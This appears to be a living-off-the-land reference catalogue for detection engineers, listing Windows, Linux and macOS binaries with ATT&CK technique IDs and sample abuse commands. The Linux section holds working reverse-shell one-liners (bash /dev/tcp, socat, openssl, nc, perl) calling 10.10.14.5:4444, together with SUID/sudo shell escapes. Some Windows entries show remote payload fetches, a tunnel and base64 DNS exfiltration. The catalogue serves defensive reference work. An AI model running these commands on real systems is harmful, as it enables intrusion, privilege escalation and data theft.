Windows1 weaponized tactics

rcsi.exe

Non-Interactive command line inerface included with Visual Studio.

Sample Vector:
rcsi.exe {PATH:.csx}
T1127
Windows2 weaponized tactics

Remote.exe

Debugging tool included with Windows Debugging Tools

Sample Vector:
Remote.exe /s {PATH:.exe} anythinghere
T1127
Windows1 weaponized tactics

Sqlps.exe

Tool included with Microsoft SQL Server that loads SQL Server cmdlets. Microsoft SQL Server\100 and 110 are Powershell v2. Microsoft SQL Server\120 and 130 are Powershell version 4. Replaced by SQLToolsPS.exe in SQL Server 2016, but will be included with installation for compatability reasons.

Sample Vector:
Sqlps.exe -noprofile
T1218
Windows1 weaponized tactics

SQLToolsPS.exe

Tool included with Microsoft SQL that loads SQL Server cmdlts. A replacement for sqlps.exe. Successor to sqlps.exe in SQL Server 2016+.

Sample Vector:
SQLToolsPS.exe -noprofile -command Start-Process {PATH:.exe}
T1218
Windows2 weaponized tactics

Squirrel.exe

Binary to update the existing installed Nuget/squirrel package. Part of Microsoft Teams installation.

Sample Vector:
squirrel.exe --update {REMOTEURL}
T1218
Windows2 weaponized tactics

te.exe

Testing tool included with Microsoft Test Authoring and Execution Framework (TAEF).

Sample Vector:
te.exe {PATH:.wsc}
T1127
Windows3 weaponized tactics

Teams.exe

Electron runtime binary which runs the Teams application

Sample Vector:
teams.exe
T1218.015
Windows1 weaponized tactics

TestWindowRemoteAgent.exe

TestWindowRemoteAgent.exe is the command-line tool to establish RPC

Sample Vector:
TestWindowRemoteAgent.exe start -h {your-base64-data}.example.com -p 8000
T1048
Windows1 weaponized tactics

Tracker.exe

Tool included with Microsoft .Net Framework.

Sample Vector:
Tracker.exe /d {PATH:.dll} /c C:\Windows\write.exe
T1127
Windows7 weaponized tactics

Update.exe

Binary to update the existing installed Nuget/squirrel package. Part of Microsoft Teams installation.

Sample Vector:
Update.exe --update={REMOTEURL}
T1218T1547T1070
Windows2 weaponized tactics

VSDiagnostics.exe

Command-line tool used for performing diagnostics.

Sample Vector:
VSDiagnostics.exe start 1 /launch:{PATH:.exe}
T1127
Windows1 weaponized tactics

Vshadow.exe

VShadow is a command-line tool that can be used to create and manage volume shadow copies.

Sample Vector:
vshadow.exe -nw -exec={PATH_ABSOLUTE:.exe} C:
T1202
Windows1 weaponized tactics

VSIISExeLauncher.exe

Binary will execute specified binary. Part of VS/VScode installation.

Sample Vector:
VSIISExeLauncher.exe -p {PATH:.exe} -a "{CMD:args}"
T1218
Windows1 weaponized tactics

vsjitdebugger.exe

Just-In-Time (JIT) debugger included with Visual Studio

Sample Vector:
Vsjitdebugger.exe {PATH:.exe}
T1127
Windows2 weaponized tactics

VSLaunchBrowser.exe

Microsoft Visual Studio browser launcher tool for web applications debugging

Sample Vector:
VSLaunchBrowser.exe .exe {PATH_ABSOLUTE:.exe}
T1105T1127
Windows1 weaponized tactics

vsls-agent.exe

Agent for Visual Studio Live Share (Code Collaboration)

Sample Vector:
vsls-agent.exe --agentExtensionPath {PATH_ABSOLUTE:.dll}
T1218
Windows1 weaponized tactics

WFMFormat.exe

Command-line tool used for pretty-print a dump file generated by Message Farm Analyzer tool.

Sample Vector:
WFMFormat.exe
T1127
Windows1 weaponized tactics

WinDbg.exe

Windows Debugger for advanced user-mode and kernel-mode debugging.

Sample Vector:
windbg.exe -g {CMD}
T1127
Windows1 weaponized tactics

winfile.exe

Windows File Manager executable

Sample Vector:
winfile.exe {PATH:.exe}
T1202
Windows3 weaponized tactics

wsb.exe

Windows Sandbox command-line interface. Creates, lists, controls, and executes commands inside Windows Sandbox sessions from the host CLI.

Sample Vector:
wsb start --config "<Configuration><LogonCommand><Command>{CMD}</Command></LogonCommand></Configuration>" wsb exec -r System --id YOUR_ID
T1564.006
Windows4 weaponized tactics

Wsl.exe

Windows subsystem for Linux executable

Sample Vector:
wsl.exe -e /mnt/c/Windows/System32/calc.exe
T1202T1105T1218
Windows2 weaponized tactics

XBootMgr.exe

Windows Performance Toolkit binary used to start performance traces.

Sample Vector:
xbootmgr.exe -trace "{boot|hibernate|standby|shutdown|rebootCycle}" -callBack {PATH:.exe}
T1202
Windows1 weaponized tactics

XBootMgrSleep.exe

Windows Performance Toolkit binary used for tracing and analyzing system performance during sleep and resume transitions.

Sample Vector:
xbootmgrsleep.exe 1000 {PATH:.exe}
T1202
Windows1 weaponized tactics

code.exe

VSCode binary, also portable (CLI) version

Sample Vector:
code.exe tunnel --accept-server-license-terms --name "tunnel-name"
T1219.001
Linux1 weaponized tactics

find

Find searches directory trees for files matching criteria. When configured with SUID permissions or sudo privileges without restrictions, its -exec flag can spawn root shells or execute arbitrary commands.

Sample Vector:
find . -name "*.conf" -exec /bin/sh -p \;
T1548.001T1059.004
Linux1 weaponized tactics

bash

The GNU Bourne Again SHell (bash) is the default interactive shell on most Linux distributions. Abused for spawning interactive reverse TCP shells, executing encoded base64 commands, and privilege escalation.

Sample Vector:
bash -i >& /dev/tcp/10.10.14.5/4444 0>&1
T1059.004T1071
Linux1 weaponized tactics

socat

Socat is a command-line based utility that establishes two bidirectional byte streams and transfers data between them. Attackers use socat to establish encrypted TTY reverse shells and tunnel traffic across isolated network zones.

Sample Vector:
socat tcp-connect:10.10.14.5:4444 exec:"bash -li",pty,stderr,setsid,sigint,sane
T1059.004T1071
Linux1 weaponized tactics

python

Python is a high-level interpreted programming language. Frequently pre-installed on Linux systems and abused by adversaries for full-fledged reverse shells, PTY spawning, local port forwarding, and script execution.

Sample Vector:
python3 -c "import pty; pty.spawn('/bin/bash')"
T1059
Linux1 weaponized tactics

awk

AWK is a pattern scanning and processing language. Because AWK includes built-in system() functions and file operations, SUID awk or sudo privileges can be trivially abused to break out of restricted environments and spawn shells.

Sample Vector:
awk 'BEGIN {system("/bin/sh")}'
T1059T1548.001
Linux1 weaponized tactics

tar

GNU tar is an archiving utility. Attackers abuse tar checkpoint execution options (--checkpoint-action=exec) to spawn an interactive shell or execute arbitrary commands when running with sudo or SUID permissions.

Sample Vector:
tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
T1059.004T1548.001
Linux1 weaponized tactics

openssl

OpenSSL is a cryptography toolkit. Attackers leverage openssl s_client to establish encrypted TLS reverse shell sessions or exfiltrate sensitive files across monitored networks.

Sample Vector:
mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 10.10.14.5:4444 > /tmp/s; rm /tmp/s
T1573.002T1059.004
Linux1 weaponized tactics

vim

Vim is an interactive screen text editor. When configured with SUID permissions or privileged sudo rights without command restrictions, attackers escape into a root shell via the :! command.

Sample Vector:
vim -c ':!/bin/sh'
T1059.004T1548.001
Linux1 weaponized tactics

env

Env runs a program in a modified environment. When configured with the SUID bit or unrestricted sudo access, running env to launch a shell preserves elevated root EUID permissions.

Sample Vector:
env /bin/sh -p
T1548.001
Linux1 weaponized tactics

nmap

Nmap is a network exploration tool and security scanner. Attackers use custom Nmap Scripting Engine (NSE) scripts to execute arbitrary root shell commands when nmap has SUID or sudo grants.

Sample Vector:
echo 'os.execute("/bin/sh")' > /tmp/payload.nse && nmap --script=/tmp/payload.nse
T1059.004
Linux1 weaponized tactics

nc

Netcat is a versatile networking tool for TCP and UDP communication. Attackers frequently use it in conjunction with FIFOs or the -e flag to establish interactive reverse command shells.

Sample Vector:
rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 10.10.14.5 4444 > /tmp/f
T1059.004T1095
Linux1 weaponized tactics

perl

Perl is a general-purpose programming language widely installed on Linux servers. Attackers execute socket-creation one-liners to spawn interactive reverse shells directly in memory.

Sample Vector:
perl -e 'use Socket;$i="10.10.14.5";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
T1059.006
Linux1 weaponized tactics

ruby

Ruby is an interpreted programming language. Attackers use ruby -e one-liners to execute shell breakouts, spawn interactive PTY shells, or establish network socket connections.

Sample Vector:
ruby -e 'exec "/bin/sh"'
T1059
Linux1 weaponized tactics

gdb

GNU Debugger (gdb) allows code inspection and execution. When granted SUID permissions or privileged sudo rights, gdb can execute arbitrary shell commands prior to loading programs.

Sample Vector:
gdb -nx -ex '!sh' -ex quit
T1059.004T1548.001
Linux1 weaponized tactics

less

Less is an interactive terminal file pager. When invoked via sudo without secure mode, operators can escape to an interactive shell by issuing !/bin/sh from within the viewer.

Sample Vector:
less /etc/hosts
T1059.004
Linux1 weaponized tactics

more

More is a terminal filter for paging text. Like less, running more on terminal outputs allows executing interactive shell escapes via !/bin/sh.

Sample Vector:
more /etc/services
T1059.004
Linux1 weaponized tactics

xargs

Xargs builds and executes command lines from standard input. SUID xargs can execute an interactive root shell retaining elevated permissions.

Sample Vector:
xargs -a /dev/null /bin/sh -p
T1059.004T1548.001
Linux1 weaponized tactics

strace

Strace intercepts and records system calls. When run with SUID permissions, strace executes target binaries with preserved root privileges.

Sample Vector:
strace -o /dev/null /bin/sh -p
T1059.004T1548.001
Linux1 weaponized tactics

timeout

Timeout runs a command with a time limit. SUID timeout launches child programs with preserved elevated permissions.

Sample Vector:
timeout 7d /bin/sh -p
T1059.004T1548.001
Linux1 weaponized tactics

ionice

Ionice sets or gets process I/O scheduling class and priority. SUID ionice launches child programs with elevated privileges.

Sample Vector:
ionice /bin/sh -p
T1059.004T1548.001
Linux1 weaponized tactics

nice

Nice runs a program with modified scheduling priority. SUID nice spawns child programs retaining elevated EUID permissions.

Sample Vector:
nice /bin/sh -p
T1059.004T1548.001
macOS1 weaponized tactics

open

The open command opens files, directories, URLs, and applications as if you double-clicked them in Finder. Used to launch unsigned or quarantined applications and evade Gatekeeper or security software inspection.

Sample Vector:
open -a /Applications/Safari.app/Contents/MacOS/Safari http://phishing.site
T1218
macOS1 weaponized tactics

installer

Installer runs system software installations. Attackers run installer from terminal with root privileges to deploy malicious package files silently without user prompts.

Sample Vector:
sudo installer -pkg /tmp/implant.pkg -target /
T1218T1059.004
macOS1 weaponized tactics

hdiutil

Hdiutil manipulates macOS disk images (DMG). Attackers attach downloaded DMG images silently (-nobrowse) to access and execute stage-2 payloads without mounting icons on the desktop.

Sample Vector:
hdiutil attach /tmp/payload.dmg -nobrowse -mountpoint /Volumes/secret
T1218
Sharon Ben Moshe
Curated & Verified by
Sharon Ben Moshe
Cybersecurity Researcher & Detection EngineerCheck Point